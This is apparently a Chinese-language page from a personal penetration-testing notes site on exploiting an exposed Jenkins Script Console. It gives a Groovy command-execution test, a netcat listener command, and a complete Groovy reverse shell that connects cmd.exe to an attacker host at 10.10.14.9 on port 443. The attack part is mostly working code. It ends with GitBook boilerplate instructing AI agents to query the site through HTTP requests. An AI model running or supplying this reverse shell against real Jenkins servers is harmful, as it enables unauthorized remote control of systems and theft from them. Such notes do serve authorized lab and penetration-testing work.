> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/jenkins-cms-exploitation.md).

# Jenkins

<figure><img src="/files/2af70651d4e7c8a95b570e5ebd100e917cc41e60" alt=""><figcaption></figcaption></figure>

**Jenkins - Groovy 脚本执行**

Jenkins 可访问，并且 **Script Console** 已启用，允许执行 Groovy 脚本。

<figure><img src="/files/766029171725e8eaee416aab5adeef99204a30ad" alt=""><figcaption></figcaption></figure>

用于测试执行的示例命令：

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/e01aed291e6a423a38be508637bfc153fa34bd9b" alt=""><figcaption></figcaption></figure>

### **利用**

#### **通过 Groovy 脚本控制台获得反向 Shell**

要获得远程访问，请使用以下工作流程：

1. **在 443 端口上启动监听器：**

```bash
rlwrap nc -nvlp 443
```

2. **在 Groovy 控制台中运行以下脚本** 以建立反向 shell：

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/43fb67a368d7ff594ece393d4c0267733888247a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
